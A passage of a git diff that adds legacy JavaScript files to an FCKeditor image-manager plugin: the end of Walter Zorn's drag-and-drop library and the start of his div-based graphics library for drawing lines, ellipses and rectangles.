+       }
+       dd.elements = d_os;
+       if(!dd.n4) dd.recalc();
+};
+DDObj.prototype._free = function()
+{
+       for(var d_i in this)
+               this[d_i] = null;
+       dd.elements[this.name] = null;
+};
+dd.n4RectVis = function(vis)
+{
+       for(var d_i = 4; d_i--;)
+       {
+               dd.rectI[d_i].visibility = dd.rectA[d_i].visibility = vis? 'show' : 'hide';
+               if(vis) dd.rectI[d_i].zIndex = dd.rectA[d_i].zIndex = dd.z+2;
+       }
+};
+dd.n4RectPos = function(d_o, d_x, d_y, d_w, d_h)
+{
+       d_o.x = d_x;
+       d_o.y = d_y;
+       d_o.clip.width = d_w;
+       d_o.clip.height = d_h;
+};
+// NN4: Draw img sizing rect
+dd.n4Rect = function(d_w, d_h)
+{
+       var d_i;
+       if(!dd.rectI)
+       {
+               dd.rectI = new Array();
+               dd.rectA = new Array();
+       }
+       if(!dd.rectI[0])
+       {
+               for(d_i = 4; d_i--;)
+               {
+                       (dd.rectI[d_i] = new Layer(1)).bgColor = '#000000';
+                       (dd.rectA[d_i] = new Layer(1)).bgColor = '#ffffff';
+               }
+       }
+       if(!dd.rectI[0].visibility || dd.rectI[0].visibility == 'hide') dd.n4RectVis(1);
+       dd.obj.w = d_w;
+       dd.obj.h = d_h;
+       for(d_i = 4; d_i--;)
+       {
+               dd.n4RectPos(dd.rectI[d_i], dd.obj.x + (!(d_i-1)? (dd.obj.w-1) : 0), dd.obj.y + (!(d_i-2)? (dd.obj.h-1) : 0), d_i&1 || dd.obj.w, !(d_i&1) || dd.obj.h);
+               dd.n4RectPos(dd.rectA[d_i], !(d_i-1)? dd.rectI[1].x+1 : (dd.obj.x-1), !(d_i-2)? dd.rectI[2].y+1 : (dd.obj.y-1), d_i&1 || dd.obj.w+2, !(d_i&1) || dd.obj.h+2);
+       }
+};
+dd.reszTo = function(d_w, d_h)
+{
+       if(dd.n4 && dd.obj.is_image) dd.n4Rect(d_w, d_h);
+       else dd.obj.resizeTo(d_w, d_h);
+};
+dd.embedVis = function(d_vis)
+{
+       var d_o = new Array('iframe', 'applet', 'embed', 'object');
+       var d_i = d_o.length; while(d_i--)
+       {
+               var d_p = dd.ie? document.all.tags(d_o[d_i]) : document.getElementsByTagName? document.getElementsByTagName(d_o[d_i]) : null;
+               if(d_p)
+               {
+                       var d_j = d_p.length; while(d_j--)
+                       {
+                               var d_q = d_p[d_j];
+                               while(d_q.offsetParent || d_q.parentNode)
+                               {
+                                       if((d_q = d_q.parentNode || d_q.offsetParent || null) == dd.obj.div)
+                                       {
+                                               d_p[d_j].style.visibility = d_vis;
+                                               break;
+                                       }
+                               }
+                       }
+               }
+       }
+};
+
+dd.maxOffX = function(d_x, d_y)
+{
+       return(
+               (dd.obj.maxoffl+1 && (d_y = dd.obj.defx-dd.obj.maxoffl)-d_x > 0
+               || dd.obj.maxoffr+1 && (d_y = dd.obj.defx+dd.obj.maxoffr)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.maxOffY = function(d_x, d_y)
+{
+       return(
+               (dd.obj.maxofft+1 && (d_y = dd.obj.defy-dd.obj.maxofft)-d_x > 0
+               || dd.obj.maxoffb+1 && (d_y = dd.obj.defy+dd.obj.maxoffb)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.inWndW = function(d_x, d_y)
+{
+       var d_wx = dd.getScrollX(),
+       d_ww = dd.getWndW();
+       return(
+               ((d_y = d_wx+2)-d_x > 0) || ((d_y = d_wx+d_ww+dd.obj.w-2)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.inWndH = function(d_x, d_y)
+{
+       var d_wy = dd.getScrollY(),
+       d_wh = dd.getWndH();
+       return(
+               ((d_y = d_wy+2)-d_x > 0) || ((d_y = d_wy+d_wh+dd.obj.h-2)-d_x < 0)? d_y
+               : d_x
+       );
+};
+// These two funcs limit the size of element when mouseresized.
+// Implemented 22.5.2003 by Gregor Ltolf <gregor@milou.ch>, modified by Walter Zorn
+dd.limW = function(d_w)
+{
+       return(
+               (dd.obj.minw-d_w > 0)? dd.obj.minw
+               : (dd.obj.maxw > 0 && dd.obj.maxw-d_w < 0)? dd.obj.maxw
+               : d_w
+       );
+};
+dd.limH = function(d_h)
+{
+       return(
+               (dd.obj.minh-d_h > 0)? dd.obj.minh
+               : (dd.obj.maxh > 0 && dd.obj.maxh-d_h < 0)? dd.obj.maxh
+               : d_h
+       );
+};
+// Optional autoscroll-page functionality. Courtesy Cedric Savarese.
+// Implemented by Walter Zorn
+function DDScroll()
+{
+       if(!dd.obj || !dd.obj.scroll && !dd.scroll || dd.ie4 || dd.whratio)
+       {
+               dd.scrx = dd.scry = 0;
+               return;
+       }
+       var d_bnd = 0x1c,
+       d_wx = dd.getScrollX(), d_wy = dd.getScrollY();
+       if(dd.msmoved)
+       {
+               var d_ww = dd.getWndW(), d_wh = dd.getWndH(), d_y;
+               dd.scrx = ((d_y = dd.e.x-d_ww-d_wx+d_bnd) > 0)? (d_y>>=2)*d_y
+                       : ((d_y = d_wx+d_bnd-dd.e.x) > 0)? -(d_y>>=2)*d_y
+                       : 0;
+               dd.scry = ((d_y = dd.e.y-d_wh-d_wy+d_bnd) > 0)? (d_y>>=2)*d_y
+                       : ((d_y = d_wy+d_bnd-dd.e.y) > 0)? -(d_y>>=2)*d_y
+                       : 0;
+       }
+       if(dd.scrx || dd.scry)
+       {
+               window.scrollTo(
+                       d_wx + (dd.scrx = dd.obj.is_resized? dd.limW(dd.obj.w+dd.scrx)-dd.obj.w : dd.obj.vertical? 0 : (dd.maxOffX(dd.obj.x+dd.scrx)-dd.obj.x)),
+                       d_wy + (dd.scry = dd.obj.is_resized? dd.limH(dd.obj.h+dd.scry)-dd.obj.h : dd.obj.horizontal? 0 : (dd.maxOffY(dd.obj.y+dd.scry)-dd.obj.y))
+               );
+               dd.obj.is_dragged? dd.obj.moveTo(dd.obj.x+dd.getScrollX()-d_wx, dd.obj.y+dd.getScrollY()-d_wy)
+                       : dd.reszTo(dd.obj.w+dd.getScrollX()-d_wx, dd.obj.h+dd.getScrollY()-d_wy);
+       }
+       dd.msmoved = 0;
+       window.setTimeout('DDScroll()', 0x33);
+}
+function PICK(d_ev)
+{
+       dd.e = new dd.evt(d_ev);
+       if(dd.e.x >= dd.getWndW()+dd.getScrollX() || dd.e.y >= dd.getWndH()+dd.getScrollY()) return true; // on scrollbar
+       var d_o, d_t, d_cmp = -1, d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               if(dd.n4 && dd.e.but > 1 && dd.e.src == d_o.oimg && !d_o.clone) return false;
+               if(d_o.visible && dd.e.but <= 1 && dd.e.x >= d_o.x && dd.e.x <= d_o.x+d_o.w && dd.e.y >= d_o.y && dd.e.y <= d_o.y+d_o.h)
+               {
+                       if(d_o.z > d_cmp && (d_t = dd.e.src.tag).indexOf('inpu') < 0 && d_t.indexOf('texta') < 0 && d_t.indexOf('sele') < 0 && d_t.indexOf('opti') < 0 && d_t.indexOf('scrol') < 0)
+                       {
+                               d_cmp = d_o.z;
+                               dd.obj = d_o;
+                       }
+               }
+       }
+       if(dd.obj)
+       {
+               if(dd.obj.nodrag) dd.obj = null;
+               else
+               {
+                       dd.e.e.cancelBubble = true;
+                       var d_rsz = dd.e.modifKey && (dd.obj.resizable || dd.obj.scalable);
+                       if(dd.op)
+                       {
+                               (d_o = document.getElementById('OpBlUr')).style.pixelLeft = dd.e.x;
+                               d_o.style.pixelTop = dd.e.y;
+                               (d_o = d_o.children[0].children[0]).focus();
+                               d_o.blur();
+                       }
+                       else if(dd.ie && !dd.ie4)
+                       {
+                               if(document.selection && document.selection.empty) document.selection.empty();
+                               dd.db.onselectstart = function()
+                               {
+                                       event.returnValue = false;
+                               };
+                       }
+                       if(d_rsz)
+                       {
+                               dd.obj._setCrs('se-resize');
+                               dd.obj.is_resized = 1;
+                               dd.whratio = dd.obj.scalable? dd.obj.defw/dd.obj.defh : 0;
+                               if(dd.ie)
+                               {
+                                       if(dd.ie4)
+                                       {
+                                               window.dd_x = dd.getScrollX();
+                                               window.dd_y = dd.getScrollY();
+                                       }
+                                       setTimeout(
+                                               'if(dd.obj && document.selection && document.selection.empty)'+
+                                               '{'+
+                                                       'document.selection.empty();'+
+                                                       'if(dd.ie4) window.scrollTo(window.dd_x, window.dd_y);'+
+                                               '}'
+                                       ,0);
+                               }
+                               dd.setMovHdl(RESIZE);
+                               dd.reszTo(dd.obj.w, dd.obj.h);
+                       }
+                       else
+                       {
+                               dd.obj.is_dragged = 1;
+                               dd.setMovHdl(DRAG);
+                       }
+                       dd.setUpHdl(DROP);
+                       dd.embedVis('hidden');
+                       dd.obj._setOpaRel(0.7);
+                       dd.obj.maximizeZ();
+                       dd.ofx = dd.obj.x+dd.obj.w-dd.e.x;
+                       dd.ofy = dd.obj.y+dd.obj.h-dd.e.y;
+                       if(window.my_PickFunc) my_PickFunc();
+                       if(dd.obj.pickFunc) dd.obj.pickFunc();
+                       DDScroll();
+                       return !(
+                               dd.obj.is_resized
+                               || dd.n4 && dd.obj.is_image
+                               || dd.n6 || dd.w3c
+                       );
+               }
+       }
+       if(dd.downFunc) return dd.downFunc(d_ev);
+       return true;
+}
+function DRAG(d_ev)
+{
+       if(!dd.obj || !dd.obj.visible) return true;
+       if(dd.ie4 || dd.w3c || dd.n6 || dd.obj.children.length > 0xf)
+       {
+               if(dd.wait) return false;
+               dd.wait = 1;
+               setTimeout('dd.wait = 0;', dd.tiv);
+       }
+       dd.e = new dd.evt(d_ev);
+       if(dd.ie && !dd.e.but)
+       {
+               DROP(d_ev);
+               return true;
+       }
+       dd.msmoved = 1;
+       dd.obj.moveTo(
+               dd.obj.vertical? dd.obj.x : dd.maxOffX(dd.inWndW(dd.ofx+dd.e.x)-dd.obj.w),
+               dd.obj.horizontal? dd.obj.y : dd.maxOffY(dd.inWndH(dd.ofy+dd.e.y)-dd.obj.h)
+       );
+
+       if(window.my_DragFunc) my_DragFunc();
+       if(dd.obj.dragFunc) dd.obj.dragFunc();
+       if(dd.moveFunc) return dd.moveFunc(d_ev);
+       return false;
+}
+function RESIZE(d_ev)
+{
+       if(!dd.obj || !dd.obj.visible) return true;
+       if(dd.wait) return false;
+       dd.wait = 1;
+       setTimeout('dd.wait = 0;', dd.tiv);
+       dd.e = new dd.evt(d_ev);
+       if(dd.ie && !dd.e.but)
+       {
+               DROP(d_ev);
+               return true;
+       }
+       dd.msmoved = 1;
+       var d_w = dd.limW(dd.inWndW(dd.ofx+dd.e.x)-dd.obj.x), d_h;
+       if(!dd.whratio) d_h = dd.limH(dd.inWndH(dd.ofy+dd.e.y)-dd.obj.y);
+       else
+       {
+               d_h = dd.limH(dd.inWndH(Math.round(d_w/dd.whratio)+dd.obj.y)-dd.obj.y);
+               d_w = Math.round(d_h*dd.whratio);
+       }
+       dd.reszTo(d_w, d_h);
+       if(window.my_ResizeFunc) my_ResizeFunc();
+       if(dd.obj.resizeFunc) dd.obj.resizeFunc();
+       if(dd.moveFunc) return dd.moveFunc(d_ev);
+       return false;
+}
+function DROP(d_ev)
+{
+       if(dd.obj)
+       {
+               if(dd.obj.is_dragged)
+               {
+                       if(!dd.obj.is_image) dd.getWH(dd.obj);
+               }
+               else if(dd.n4)
+               {
+                       if(dd.obj.is_image)
+                       {
+                               dd.n4RectVis(0);
+                               dd.obj.resizeTo(dd.obj.w, dd.obj.h);
+                       }
+               }
+               if(!dd.n4 || !dd.obj.is_image) dd.recalc();
+               dd.setMovHdl(dd.moveFunc);
+               dd.setUpHdl(dd.upFunc);
+               if(dd.db) dd.db.onselectstart = null;
+               dd.obj._setOpaRel(1.0);
+               dd.obj._setCrs(dd.obj.cursor);
+               dd.embedVis('visible');
+               dd.obj._resetZ();
+               dd.e = new dd.evt(d_ev);
+               if(window.my_DropFunc) my_DropFunc();
+               if(dd.obj.dropFunc) dd.obj.dropFunc();
+               dd.msmoved = dd.obj.is_dragged = dd.obj.is_resized = dd.whratio = 0;
+               dd.obj = null;
+       }
+       dd.setDwnHdl(PICK);
+}
+function SET_DHTML()
+{
+       var d_a = arguments, d_ai, d_htm = '', d_o, d_i = d_a.length; while(d_i--)
+       {
+               if(!(d_ai = d_a[d_i]).indexOf('c:')) dd.cursor = d_ai.substring(2);
+               else if(d_ai == NO_ALT) dd.noalt = 1;
+               else if(d_ai == SCROLL) dd.scroll = 1;
+               else if(d_ai == RESET_Z) dd.re_z = 1;
+               else if(d_ai == RESIZABLE) dd.resizable = 1;
+               else if(d_ai == SCALABLE) dd.scalable = 1;
+               else if(d_ai == TRANSPARENT) dd.diaphan = 1;
+               else
+               {
+                       d_o = new DDObj(d_ai);
+                       dd.addElt(d_o);
+                       d_htm += d_o.t_htm || '';
+                       if(d_o.oimg && d_o.cpy_n)
+                       {
+                               var d_j = 0; while(d_j < d_o.cpy_n)
+                               {
+                                       var d_p = new DDObj(d_o.name+d_o.cmd, ++d_j);
+                                       dd.addElt(d_p, d_o);
+                                       d_p.defz = d_o.defz+d_j;
+                                       d_p.original = d_o;
+                                       d_htm += d_p.t_htm;
+                               }
+                       }
+               }
+       }
+       if (dd.n4 || dd.n6 || dd.ie || dd.op || dd.w3c) document.write(
+               (dd.n4? '<div style="position:absolute;"><\/div>\n'
+               : (dd.op && !dd.op6)? '<div id="OpBlUr" style="position:absolute;visibility:hidden;width:0px;height:0px;"><form><input type="text" style="width:0px;height:0px;"><\/form><\/div>'
+               : '') + d_htm
+       );
+       dd.z = 0x33;
+       d_i = dd.elements.length; while(d_i--)
+       {
+               dd.addProps(d_o = dd.elements[d_i]);
+               if(d_o.is_image && !d_o.original && !d_o.clone)
+                       dd.n4? d_o.oimg.src = spacer : d_o.oimg.style.visibility = 'hidden';
+       }
+       dd.mkWzDom();
+       if(window.onload) dd.loadFunc = window.onload;
+       if(window.onunload) dd.uloadFunc = window.onunload;
+       window.onload = dd.initz;
+       window.onunload = dd.finlz;
+       dd.setDwnHdl(PICK);
+}
+function ADD_DHTML(d_o) // layers only!
+{
+       d_o = new DDObj(d_o);
+       dd.addElt(d_o);
+       dd.addProps(d_o);
+       dd.mkWzDom();
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js b/fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js
new file mode 100755 (executable)
index 0000000..b5c2151
--- /dev/null
@@ -0,0 +1,921 @@
+/***********************************************************************
+** Title.........:  Javascript Graphics
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  wz_jsgraphics.js
+** Last changed..:  31 Aug 2003  
+** Notes.........:  Modified for Image Editor, added extra commands
+**/ 
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js    v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+  with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+    x = document.body || null;
+    jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+    jg_dom = (x && !jg_ie &&
+        typeof x.appendChild != "undefined" &&
+        typeof document.createRange != "undefined" &&
+        typeof (i = document.createRange()).setStartBefore != "undefined" &&
+        typeof i.createContextualFragment != "undefined");
+    jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+    this.wnd.document.write(this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+    var x = document.createRange();
+    x.setStartBefore(this.cnv);
+    x = x.createContextualFragment(this.htm);
+    this.cnv.appendChild(x);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+    this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+    this.cnv.innerHTML += this.htm;
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+    this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+
+    //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'border-left:' + w + 'px solid ' + this.color + ';'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+    this.htm += '<layer '+
+        'left="' + x + '" '+
+        'top="' + y + '" '+
+        'width="' + w + '" '+
+        'height="' + h + '" '+
+        'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+    this.htm += '<div style="position:absolute;white-space:nowrap;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'font-family:' +  this.ftFam + ';'+
+        'font-size:' + this.ftSz + ';'+
+        'color:' + this.color + ';' + this.ftSty + '">'+
+        txt +
+        '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox, 1);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, 1, oy-y+1);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, 1, oy-y2+1);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, 1, y-oy);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, 1, y2-oy+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+
+    var s = this.stroke;
+    if (dx >= dy)
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.ceil(s/2);
+
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox+ad, _s);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+ad+1, _s);
+    }
+
+    else
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.round(s/2);
+
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            ++ad;
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, _s, oy-y+ad);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, _s, oy-y2+ad);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, _s, y-oy+ad);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1,
+    drw = true;
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx;
+        while ((dx--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            if (p > 0)
+            {
+                y += yIncr;
+                p += pru;
+            }
+            else p += pr;
+            ++x;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy;
+        while ((dy--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            y += yIncr;
+            if (p > 0)
+            {
+                ++x;
+                p += pru;
+            }
+            else p += pr;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    ox = 0, oy = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1),
+    w, h;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+            tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+            w = x-ox;
+            h = oy-y;
+            if (w&0x2 && h&0x2)
+            {
+                this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+                this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+            }
+            else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+            ox = x;
+            oy = y;
+        }
+        else
+        {
+            tt -= aa*((y<<1)-0x3);
+            st -= (aa<<1)*(--y);
+        }
+    }
+    this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+    this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+    var s = this.stroke;
+    width += s-1;
+    height += s-1;
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1);
+
+
+    if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+    {
+        var ox = 0, oy = b,
+        w, h,
+        pxl, pxr, pxt, pxb, pxw;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                w = x-ox;
+                h = oy-y;
+
+                if (w-1)
+                {
+                    pxw = w+1+(s&1);
+                    h = s;
+                }
+                else if (h-1)
+                {
+                    pxw = s;
+                    h += 1+(s&1);
+                }
+                else pxw = h = s;
+                this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+        this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+    }
+
+
+    else
+    {
+        var _a = (width-((s-1)<<1))>>1,
+        _b = (height-((s-1)<<1))>>1,
+        _x = 0, _y = _b,
+        _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+        _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+        _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+        pxl = new Array(),
+        pxt = new Array(),
+        _pxb = new Array();
+        pxl[0] = 0;
+        pxt[0] = b;
+        _pxb[0] = _b-1;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+
+            if (_y > 0)
+            {
+                if (_st < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3);
+                    _tt += (_bb<<1)*(++_x);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else if (_tt < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+                    _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else
+                {
+                    _tt -= _aa*((_y<<1)-0x3);
+                    _st -= (_aa<<1)*(--_y);
+                    _pxb[_pxb.length-1]--;
+                }
+            }
+        }
+
+        var ox = 0, oy = b,
+        _oy = _pxb[0],
+        l = pxl.length,
+        w, h;
+        for (var i = 0; i < l; i++)
+        {
+            if (typeof _pxb[i] != "undefined")
+            {
+                if (_pxb[i] < _oy || pxt[i] < oy)
+                {
+                    x = pxl[i];
+                    this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+                    ox = x;
+                    oy = pxt[i];
+                    _oy = _pxb[i];
+                }
+            }
+            else
+            {
+                x = pxl[i];
+                this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+                this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+                ox = x;
+                oy = pxt[i];
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+        this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+    }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = height&1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+    st = (aa2>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa2*((b<<1)-1),
+    drw = true;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - aa4*(y-1);
+            tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+        }
+        else
+        {
+            tt -= aa2*((y<<1)-0x3);
+            st -= aa4*(--y);
+        }
+        if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+        drw = !drw;
+    }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+    var s = this.stroke;
+    this.mkDiv(x, y, w, s);
+    this.mkDiv(x+w, y, s, h);
